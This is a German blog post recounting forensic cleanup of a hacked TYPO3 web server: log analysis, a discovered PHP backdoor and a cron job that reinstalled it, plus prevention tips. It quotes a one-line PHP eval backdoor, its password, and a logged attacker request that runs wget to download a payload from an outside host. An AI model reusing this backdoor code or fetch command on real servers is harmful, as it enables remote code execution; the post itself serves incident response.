Webserver mit TYPO3 wurde gehackt, was nun?

18. Oktober 2016

Der Artikel befasst sich nur mit einem speziellen Angriff, da das Thema insgesamt sehr komplex ist, will ich hier nur eine kleine Geschichte erzählen, wie man nach einem Webserver-Hack vorgehen kann und ein paar Ausblicke geben was man in Punkt Prävention machen kann. Generell gilt: Symptome bekämpfen reicht nicht, die Ursache muss gefunden werden! Die Symptomatik war, das auf dem Server PHP-Dateien mit Schadcode angelegt wurden.

1: Zuerst: Art des Einbruchs feststellen

Hat jemand mit einem SSH/FTP-Zugriff (Systemebene) auf den Server erlangt? Dies kann man recht gut in der /var/log/auth.log überprüfen, da dort alle Logins mit IP gespeichert werden. In unserem konkreten Fall war hier nichts zu finden und Zugriff auf den Server konnte man nur über VPN erhalten, daher war diese Möglichkeit erst mal recht unwahrscheinlich. Daher gehe ich hier auch nicht näher darauf ein. Wenn der Einbuch nicht auf Systemebene statt gefunden hat müssen wir die Applikationsebene (z.B. CMS: TYPO3 / WordPress) untersuchen.

2: Doch vorher: erst mal aufräumen...

Zunächst sollte man sich die infizierten Dateien anschauen und in an einen sichern Platz verschieben. Das Löschen von Datein mit Schadecode ist nicht sinnvoll, das so wertvolle Informationen über den Angriff verloren gehen. Der Webserver sollte keinen Zugriff auf diesen sicheren Platz haben. Schadcode aufräumen via SSH-Terminal/Bash:

mv schadcode.php /quarantine

Meistens ist es nicht nur eine Datei die erstellt/modifiziert wird, sondern gleich mehrere an unterschiedlichen Stellen. Daher ist es hilfreich nach Auffälligkeiten/Einzigartigkeiten im Code zu schauen und dann nach ähnlichen Vorkommen auf dem Dateisystem suchen. Bei uns gab es in der schadcode.php beispielsweise folgenden Modifikation: Schadcode.php:

@preg_replace('/(.*)/e', @$_POST['cgrycynqatjstuh'], '');

Hier ist der String "cgrycynqatjstuh" auffällig. Nach diesem Vorkommen sollte also gesucht werden. Suche mit SSH-Terminal/Bash:

grep -ir cgrycynqatjstuh

Damit werden alle Dateien in denen der String vorkommt aufgelistet. Hierbei sollte natürlich klar sein, das auch sehr unterschiedliche Dateien erstellt worden sein können, daher ist es wichtig den Zeitpunkt des Einbruch möglichst genau zu ermitteln, um dann untersuchen zu können welche Dateien in dem Zeitraum erstellt worden sind. Dazu mal ein nettes Gist mit verschiedenen Schadcode-Beispielen: gist.github.com/jonaslejon Damit kommen wir zum nächsten Schritte.

3: Zugriffe ausfindig machen / Log Analyse

Bei gut besuchten Webseiten ist diese Aufgabe kein Zuckerschlecken, denn die Accesslogs können schnell mal mehrere hundert MB groß werden (reiner Text). Zum Vergleich: 1Megabyte (MB) = 2^20 oder 1,048,576 Bytes das sind ca. 500 Seiten, die sich lesen wie ein Telefonbuch. Es ist also klar das diese Datenmenge gut gefiltert und durchsucht werden muss. Auch hier der Bash-Befehr grep unser Freund. Weitere wichtige Tools sind cat/less (gibt eine Datei aus) und zcat/zless (gibt eine komprimierte Datei aus). Hier ein konkretes Beispiel. Es wurde die Datei wp-lincence.php mit Schadcode erstellt. Es ist natürlich klar das jemand der diese Datei erstellt hat auch Nutzen aus dieser ziehen will. Daher schauen wir zunächst wer alles auf diese Datei zugegriffen hat. Bash/Shell:

cat /var/www/apache/access.log | grep wp-licence

Output:

...
176.104.63.XXX - - [03/Mar/2016:14:37:07 +0100] "POST /wp-license.php HTTP/1.1" 200 222 "/wp-admin/admin-ajax.php" "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
....

Aha, da haben wir ja schon jemanden. Hinweis: Das ganze ist etwas vereinfacht dargestellt, es können natürlich mehrere IPs vorhanden sein von denen aber nur eine die Datei tatsächlich erstellt hat. Auch kann der Eintrag schon ein paar Tage zurück liegen und es muss in der Logrotation nachgeschaut werden z.B. mit dem Befehl

zcat /var/www/apache/access.1.gz | grep wp-licence )

Jetzt schauen wir doch mal nach was diese IP sonst so auf dem Server gemacht hat.

cat /var/www/apache/access.log | grep 176.104.63.XXX

Output:

....
176.104.63.XXX - - [03/Mar/2016:14:37:07 +0100] "GET /.cache.php?localdate=902239FSmakovSHELL&localtime=wget%20-O%20wp-license.php%20http://srochno-online.ru//tmp/install_4df5a8fc75b7c/plugins/system/123/t7.txt HTTP/1.1" 200 246 "http://dom.de/wp-admin/admin-ajax.php" "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
....

Aha, was ist das denn? Schauen wir uns die .cache.php mal an:


Was die Datei nämlich macht ist, sie erwartet im GET-Parameter localdate ein Passwort und führt dann den Befehl im GET-Paramter localtime auf Systemebene aus.
Schauen wir uns nochmal den Aufruf an (url decodiert damit man es besser lesen kann):

/.cache.php?localdate=902239FSmakovSHELL&localtime=wget -O wp-license.php srochno-online.ru//tmp/install_4df5a8fc75b7c/plugins/system/123/t7.txt

Wie man sieht ist "902239FSmakovSHELL" das Password und der Befehl der ausgeführt wird ist:

wget -O wp-license.php srochno-online.ru//tmp/install_4df5a8fc75b7c/plugins/system/123/t7.txt

Es wird also eine Datei angelegt mit dem Namen wp-license.php und der Inhalt wird von srochno-online.ru//tmp/install_4df5a8fc75b7c/plugins/system/123/t7.txt nachgeladen (Webseite ist offline brauch ihr also nicht zu gucken ;-)) So jetzt haben wir also gefunden wie die vielen anderen Dateien auf dem Server angelegt werden. .cache.php gelöscht und das Problem ist gelöst? Weit gefehlt. Eine halbe Stunde später ist die .cache.php wieder da und das regelmäßig. Daher habe ich mir die cronjobs mal angeschaut. In /var/spool/www-data bin ich fündig geworden. Dort wurde die .cache.php alle 27 Minuten neu angelegt. Aufmerksame Leser werden sich jetzt fragen "Aber wie ist die .cache.php" ursprünglich auf dem Server gelangt. Die Frage kann ich leider nicht beantworten, da die Datei schon länger auf dem Server lag, als die Logrotation aufzeichnet. Es war aber auf dem Server ein nicht mehr verwendetes, unsicheres TYPO3 und mit mehreren unsichere Extension installiert.

Prävention

Hier noch ein kleiner Ausblick was die Prävention anbelangt. Wichtigster Punkt auf Applikationsebene ist, das die Applikationen immer aktuell sind, besonders wenn wenn es Sicherheitsupdates für den CMS-Core oder Extensions/Plugins gab. Dafür sind wir auf den Security-Mailinglisten der CMS-Anbieter oder haben entsprechende Plugins/Extensions installiert, die uns automtisch per Mail benachrichtigen, wenn es Updates für eine Installation gibt (z.B. WP Updates Notifier) Dann bin ich großer Fan von fail2ban. Das Tool beobachtet Logdateien und blockiert bei Auffälligkeiten IPs für einen bestimmten Zeitraum. Damit kann man zumindest automatisierte Attacken recht gut in den Griff bekommen. fail2ban kann unterschiedliche Logs (z.B. ssh/apache2) untersuchen. Wenn die Performance es zulässt installiere ich auch gerne einen Virenscanner (calmav), da dieser Schadcodedateien beim anlegen blockiert. Die Erkennungsrate lässt aber zu wünschen übrig, bzw. bei wirklich selbst gebauten Schadskripten hat der Scanner natürlich keine Chance. Bei automatisierten Attacken kann er aber recht hilfreich sein. Hier gibt es natürlich noch haufenweise Sachen, die ganze Bücher füllen (Intrusion Detection, Firewall, VPN, Encryption, Docker, etc). Wenn Ihr noch gute Tipps habt was bei einem Serverhack zu tun ist --- ich freue mich auf Eure Kommentare.